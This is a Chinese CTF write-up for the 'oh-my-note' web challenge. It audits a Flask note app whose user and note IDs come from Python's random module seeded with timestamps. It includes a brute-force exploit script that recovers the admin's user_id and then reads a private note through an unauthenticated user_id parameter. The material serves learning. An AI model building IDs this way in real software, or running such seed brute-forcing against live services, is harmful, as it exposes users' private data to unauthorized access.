zoukankan      html  css  js  c++  java
  • *ctf-oh-my-note

    比赛的时候差一点就打出来了,赛后看了别的wp,正好环境在,赶紧复现一波

    题目给了附件源码,直接代码审计,理清业务逻辑

    代码审计

    import string
    import random
    import time
    import datetime
    from flask import render_template, redirect, url_for, request, session, Flask
    from functools import wraps
    from exts import db
    from config import Config
    from models import User, Note
    from forms import CreateNoteForm
    
    app = Flask(__name__)
    app.config.from_object(Config)
    db.init_app(app)
    
    
    def login_required(f):
        @wraps(f)
        def decorated_function(*args, **kws):
                if not session.get("username"):
                   return redirect(url_for('index'))
                return f(*args, **kws)
        return decorated_function
    
    
    def get_random_id():
        alphabet = list(string.ascii_lowercase + string.digits)
        return ''.join([random.choice(alphabet) for _ in range(32)])
    
    
    @app.route('/')
    @app.route('/index')
    def index():
        results = Note.query.filter_by(prv='False').limit(100).all()
        notes = []
        for x in results:
            note = {}
            note['title'] = x.title
            note['note_id'] = x.note_id
            notes.append(note)
    
        return render_template('index.html', notes=notes)
    
    
    @app.route('/logout')
    @login_required
    def logout():
        session.pop('username', None)
        return redirect(url_for('index'))
    
    
    @app.route('/create_note', methods=['GET', 'POST'])
    def create_note():
        try:
            form = CreateNoteForm()
            if request.method == "POST":
                username = form.username.data
                title = form.title.data
                text = form.body.data
                prv = str(form.private.data)
                user = User.query.filter_by(username=username).first()
    
                if user:
                    user_id = user.user_id
                else:
                    timestamp = round(time.time(), 4)
                    random.seed(timestamp)
                    user_id = get_random_id()
                    user = User(username=username, user_id=user_id)
                    db.session.add(user)
                    db.session.commit()
                    session['username'] = username
    
                timestamp = round(time.time(), 4)
    
                post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')
    
                random.seed(user_id + post_at)
                note_id = get_random_id()
    
                note = Note(user_id=user_id, note_id=note_id,
                            title=title, text=text,
                            prv=prv, post_at=post_at)
                db.session.add(note)
                db.session.commit()
                return redirect(url_for('index'))
    
            else:
                return render_template("create.html", form=form)
        except Exception as e:
            pass
    
    
    @app.route('/my_notes')
    def my_notes():
        if session.get('username'):
            username = session['username']
            user_id = User.query.filter_by(username=username).first().user_id
        else:
            user_id = request.args.get('user_id')
            if not user_id:
                return redirect(url_for('index'))
    
        results = Note.query.filter_by(user_id=user_id).limit(100).all()
        notes = []
        for x in results:
            note = {}
            note['title'] = x.title
            note['note_id'] = x.note_id
            notes.append(note)
    
        return render_template("my_notes.html", notes=notes)
    
    
    @app.route('/view/<_id>')
    def view(_id):
        note = Note.query.filter_by(note_id=_id).first()
        user_id = note.user_id
        username = User.query.filter_by(user_id=user_id).first().username
        data = {
            'post_at': note.post_at,
            'title': note.title,
            'text': note.text,
            'username': username
        }
    
        return render_template('note.html', data=data)
    
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0', port=5000)
    

    源码和balccon-2020的Two Sides of a Coin很像

    首先是定义了五个路由,我们分开分析

    1. /index

    该路由下就是记录了title和note_id,没什么特别的

    1. /logout

    访问logout路由时删除session,重定向到根路由下

    1. /create_note

    首先我们要知道几个变量是什么意思

    user_id:创建的用户名经过以创建时间为种子的随机函数处理后的值

    post_at:提取我们创建note的时间并格式化表示

    note_id:以(user_id + post_at)为种子的随机函数处理后的字符串,即url中view/后面的值

    如果请求方法是POST,那么会根据提交的各种信息创建表单,建立上面的几个参数,一开始以为flag在这里

    prv = str(form.private.data)

    硬着怼这里。后面才想到这里就是是否将创建的note设为私有,sb了

    1. /my_notes

    如果session中有username就获取,没有就通过user_id获取,输出创建后的note到my_note中

    1. /view/<_id>

    查看note具体信息

    爆破伪随机数

    那么我们的思路就出来了

    根据文章发布的时间得到post_at->根据url /view路由后面得到note_id->通过随机生成的seed,并将其与post_at再度随机处理->将得到的note_id与url中的对比->拿到对应用户的id->通过session和user_id访问admin的私人note,得到flag

    编写exp

    转换时间为时间戳

    在线网站

    得到1610677740和1610677800

    exp来自这位师傅

    import random
    import string
    import datetime
    ts = 1610677740
    te = 1610677800
    target = 'lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u'
    
    def get_random_id():
        alphabet = list(string.ascii_lowercase + string.digits)
        return ''.join([random.choice(alphabet) for _ in range(32)])
    
    for t in range(ts, te):
        for i in range(9999):
            timestamp = 0.0001 * i + t
            random.seed(timestamp)
            user_id = get_random_id()
            post_at = datetime.datetime.fromtimestamp(
                t, tz=datetime.timezone.utc
            ).strftime('%Y-%m-%d %H:%M UTC')
            random.seed(user_id + post_at)
            not_id = get_random_id()
            if not_id == target:
                print(timestamp, user_id)
    

    爆破user_id=7bdeij4oiafjdypqyrl2znwk7w9lulgn

    根据/my_notes路由传参

    发现/view/8gjrwovok2jarvg38jvbq9uriheahi29

    访问,获得flag

  • 相关阅读:
    idea用法
    pagehelper用法
    mybatis
    多线程2
    radio 标签状态改变时 触发事件
    多线程
    a标签点击后,给a标签添加样式
    servlet
    mybatis 查询
    springmvc 发送PUT 和 DELETE 请求
  • 原文地址:https://www.cnblogs.com/karsa/p/14297021.html
Copyright © 2011-2022 走看看